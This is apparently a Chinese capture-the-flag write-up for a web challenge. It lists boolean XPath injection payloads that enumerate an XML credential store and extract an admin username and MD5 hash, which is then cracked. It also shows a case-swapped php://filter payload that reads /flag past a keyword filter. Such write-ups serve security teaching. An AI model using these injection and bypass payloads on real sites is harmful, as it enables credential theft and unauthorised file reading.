考点:
解题:
这题服务端用户名和密码通过xml文件存储,通过将提交的用户名和密码拼接到xpath中进行查询,查询到数据即通过验证,反之则未通过。
猜测后台xpath语法:
//root/accounts/user[username/text()=$username and password/text()=$password]
我们可以在$username处进行注入
Bool注入过程
1.获取根下的节点个数
'or count(/*)=1 or ''=' #非法操作
'or count(/*)=2 or ''=' #用户名或密码错误
通过count(/)获取根下节点个数,当等于2时错误因此判断根下只有一个节点。
2.获取根下节点名
# 获取节点名长度
'or string-length(name(/*[1]))=4 or ''='
# bool注入获取节点ming
'or substring(name(/*[1]), 1, 1)='a' or ''='
string-length() :获取字符串长度
substring() :截取字符串
name() :获取节点名称
3.重复1和2遍历出所有叶子节点
当 'or count(/root/accounts/user/username*)>0 or ''=' 报错表明username已是叶子节点,使用text()获取文本。
'or substring(/root/accounts/user/username[1]/text(), 1, 1)='a' or ''='
最终可以爆出用户名以及哈希:adm1n:cf7414b5bdb2e65ee43083f4ddbc4d9f
在线md5解密得到:gtfly123
使用adm1n:gtfly123登入:
查看源码
在url中发现file参数,尝试利用filter协议读取flag
由于过滤了php和base,通过大小写绕过:
?file=pHp://filter/convert.bASe64-encode/resource=/flag
得到flag: